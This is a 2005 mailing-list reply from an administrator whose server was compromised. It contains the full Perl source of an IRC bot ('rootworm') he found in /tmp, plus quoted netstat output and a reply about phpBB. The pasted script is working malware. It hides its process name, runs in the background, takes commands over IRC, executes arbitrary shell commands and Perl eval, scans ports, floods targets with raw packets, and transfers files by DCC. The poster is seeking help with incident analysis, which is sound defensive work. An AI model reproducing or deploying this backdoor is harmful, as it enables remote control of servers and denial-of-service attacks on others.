Re: Security Breach ?

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Alright well not it's certain I have a friend on my system. I have found this file named "https" on my
system in /tmp

I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it
looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it?
The file was not set executable either.


#!/usr/bin/perl
#
################ perl #################################################################
#
#
#
#
#
#testscript - System & Network Security
#
#
#
#

#
#
#
my $processo = '-bash';
#----------------------------------------------##
my $linas_max='10'; #
#----------------------------------------------#
my $sleep='3'; #
#
#
#
# PERL HELP SCRIPT
#
#
#
my @adms=("_mihaiu","mihaiu`",); #
#---------------------------------------------- ################################################
my @canais=("#aseasi :lametrapchan","#aseasi :lametrapchan"); #
#---------------------------------------------- ################################################
my $nick= 'bug'; #
#---------------------------------------------- ################################################
my $ircname = 'bitch'; #
#---------------------------------------------- ################################################
chop (my $realname = `screw`); #
#---------------------------------------------- ################################################
$servidor='eu.undernet.org' #
unless $servidor; #
#---------------------------------------------- ################################################
my $porta='6667'; #
#
#
#
#
my $secv = 1; #
#
#
######################################################################## #######################

my $VERSAO = '1.0';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problem with fork: $!" unless defined($pid);



our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

#############################
#
#############################

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}

}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}



sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION rootworm-$VERSAO in perl \001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!yas)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!yas" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}

if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :no open doors found");
}
}
if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};

sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002MÈdia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");


           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
sub shell {
  return unless $secv;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Dir doesnt exist!");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65535; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

# DoS ?? :P
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}



#############
#  ALIASES  #
#############

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
}



# DCC
package DCC;

sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};

     my $msg;
     my $nread = sysread($fh, $msg, 10240);

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recived";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";

#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}


sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }

  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }

my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;

  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }

my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = 'get';
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
}


  return(0);
}


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)

sub fixaddr {
    my ($address) = @_;

chomp $address; # just in case, sigh.
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}

















On Mar 2, 2005, at 5:41 PM, Alexander Dalloz wrote:

Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 22:53:

processes with netstat -nap I found these to be scary:

tcp        0      0 204.11.33.35:110            198.88.119.254:23781
     TIME_WAIT   -
tcp        0      0 204.11.33.35:37326          161.53.2.81:6667
     ESTABLISHED 16035/-bash
tcp        0      0 204.11.33.35:110            198.88.119.254:23776
     TIME_WAIT   -
tcp        0      0 204.11.33.35:110            198.88.119.254:23791
     TIME_WAIT   -
tcp        0      0 204.11.33.35:110            198.88.119.254:23775
     TIME_WAIT   -
tcp        0      0 204.11.33.35:110            198.88.119.254:23790
     TIME_WAIT   -
tcp        0      0 204.11.33.35:110            198.88.119.254:23774
     TIME_WAIT   -
tcp        0      0 204.11.33.35:37350          195.197.175.21:6667
     ESTABLISHED 16324/-bash
tcp        0      0 204.11.33.35:37325          194.134.7.195:6667
     ESTABLISHED 16026/-bash
tcp        0      0 204.11.33.35:110            198.88.119.254:23785
     TIME_WAIT   -

These established connections show -bash as the process running the
port.  I have firewalled these IP's
off at my firewall, however, I can't find the root cause of this.  I
have ran chkrootkit and found nothing.  However,
this is very scary.

Could anyone provide me some clues on how to proceed at this point with
my investigation.

-cs 

Port 6667 is default standard port for an irc server. By any chance, do
you run Apache and a phpBB forum?

Alexander


--
Alexander Dalloz | Enger, Germany | GPG http://pgp.mit.edu 0xB366A773
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